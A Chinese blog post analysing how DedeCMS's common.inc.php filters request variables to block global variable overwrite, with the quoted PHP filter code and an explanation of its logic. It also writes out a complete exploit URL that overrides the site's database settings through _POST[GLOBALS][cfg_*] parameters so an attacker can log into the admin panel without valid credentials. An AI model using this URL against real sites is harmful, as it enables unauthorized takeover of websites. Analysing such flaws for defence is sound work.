dede源码详细分析之--全局变量覆盖漏洞的防御

本文是过往云烟原创转载请注明出处谢谢 (*^__^*)……

最近开始分析主流CMS源码，首先就是拿DEDE开刀，谁让我就用它时间长呢。

今天试着写了一个简单的插件，感觉还是比较简单的只引入了一个common.inc.php 这个文件是dede的入口文件

今天开始研究了一下 common.inc.php 这个文件

发现了一个很有趣的事情

这篇日志主要是说的变脸覆盖问题

众所周知 php的 $GLOBALS['a'] = 'aa'; 这样就相当于定义了一个$a = 'aa';的全局变量然后呢有人就可以利用这个机制来做一些事情最火的就是前一段时间的织梦变量覆盖漏洞

http://www.xx.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root

直接这样写替换下验证码就可以登陆后台因为 GLOBALS数组定义了一些全局变量 cfg_* 正好是 dede数据库配置的变量然后 dede就误认为这个远程的数据库就是他的数据库然后在远程精心策划一个和目标站点一样的数据库用户名和密码当然是自己知道的就可以直接不要账号密码登陆了

当然 dede也给出了防御代码具体可以来分析分析会发现一个很有趣的事情

dede把所有的get post 等请求都给封装了下然后分配到每个变量

在common.inc.php 文件第37行

function _RunMagicQuotes(&$svar)
{if(!get_magic_quotes_gpc()){if( is_array($svar) ){foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);}else{if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) ){exit('Request var not allow!');}$svar = addslashes($svar);}}return $svar;
}
if (!defined('DEDEREQUEST'))
{//检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)function CheckRequest(&$val) {if (is_array($val)) {foreach ($val as $_k=>$_v) {if($_k == 'nvarname') continue;CheckRequest($_k); CheckRequest($val[$_k]);}} else{if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$val)  ){exit('Request var not allow!');}}}//var_dump($_REQUEST);exit;CheckRequest($_REQUEST);foreach(Array('_GET','_POST','_COOKIE ') as $_request){foreach($$_request as $_k => $_v)
{
if($_k == 'nvarname') ${$_k} = $_v;
else ${$_k} = _RunMagicQuotes ($_v);
}}
}

这个就是抵抗变量覆盖的代码，这一段代码很有趣，怎么个有趣呢他首先会执行这个CheckRequest函数然后参数是$_REQUEST 众所周知这个参数可以获取 get post cookie 的值然后呢这个函数就会判断这个是否维数组如果是的话就继续递归调用这个函数当然为了防止多维数组他还 CheckRequest($_k); CheckRequest($val[$_k]); 这样递归调用因为上面那个漏洞URL 就是一个多维数组然后直到最后是字符串了就会判断如果字符串有值或者字符串是 cfg_|GLOBALS|_GET|_POST|_COOKIE其中的一个就会终止程序这样就有效的防止了多维数组来覆盖全局变量最后还有个foreach循环把所有的 '_GET','_POST','_COOKIE 都去_RunMagicQuotes过一遍 _RunMagicQuotes函数会把这些变量加上个转义符并且会把每个参数注册成一个变量这样比如说 get 数组有个 ?a=aa 那么就会生成一个变量 $a = aa 而且还是转义后的

好了先分析这么多以后继续分析别的代码其实分析别人的代码还是很有意思的手打了这么多累死了在此感谢果冻兄和宝宝兄给的几个思路不然还不会明白这么快

过往云烟 2012/1022

dede源码详细分析之--全局变量覆盖漏洞的防御相关推荐

LinkedHashMap 源码详细分析（JDK1.8）
1. 概述 LinkedHashMap 继承自 HashMap,在 HashMap 基础上,通过维护一条双向链表,解决了 HashMap 不能随时保持遍历顺序和插入顺序一致的问题.除此之外,Linke ...
linkedhashmap 顺序_LinkedHashMap 源码详细分析（JDK1.8）
1. 概述 LinkedHashMap 继承自 HashMap,在 HashMap 基础上,通过维护一条双向链表,解决了 HashMap 不能随时保持遍历顺序和插入顺序一致的问题.除此之外,Linke ...
FBReader源码详细分析序言
2019独角兽企业重金招聘Python工程师标准>>> FBReader源码详细分析 -- 序言有关FBReader源码的分析,网络上已经有一位叫做"谋哥"的大 ...
HashMap 源码详细分析(JDK1.8)
1. 概述本篇文章我们来聊聊大家日常开发中常用的一个集合类 - HashMap.HashMap 最早出现在 JDK 1.2中,底层基于散列算法实现.HashMap 允许 null 键和 null 值 ...
android view 源码分析,Android ViewPager源码详细分析
1.问题由于Android Framework源码很庞大,所以读源码必须带着问题来读!没有问题,创造问题再来读!否则很容易迷失在无数的方法与属性之中,最后无功而返. 那么,关于ViewPager有什 ...
vboot源码详细分析-1
最近一直在研究bootloader之vboot,vboot短小精悍,如果只是用来进行系统的引导,而不要提供其他复杂的功能时候,我认为这是绝佳的上选.这里以MINI2440开发板配套的源码进行分析.这个 ...
HashMap 源码详细分析(JDK1.8) 1
1.概述本篇文章我们来聊聊大家日常开发中常用的一个集合类 - HashMap.HashMap 最早出现在 JDK 1.2中,底层基于散列算法实现.HashMap 允许 null 键和 null 值, ...
DownloadProvider 源码详细分析
DownloadProvider 简介 DownloadProvider 是Android提供的DownloadManager的增强版,亮点是支持断点下载,提供了"开始下载",&q ...
一文读懂Spring动态配置多数据源---源码详细分析
Spring动态多数据源源码分析及解读一.为什么要研究Spring动态多数据源代云小说网 https://www.3187.info 期初,最开始的原因是:想将答题服务中发送主观题答题数据给批 ...
layui源码详细分析系列之富文本编辑器模块
所谓的富文本编辑器就是内嵌在浏览器上.所见即所得的文本编辑器,它的形式如下: layui框架中内置了layedit模块,该模块就是富文本编辑器模块,在最近两天中我自己使用原生js实现了简易的富文本编辑 ...

dede源码详细分析之--全局变量覆盖漏洞的防御

dede源码详细分析之--全局变量覆盖漏洞的防御相关推荐

最新文章

热门文章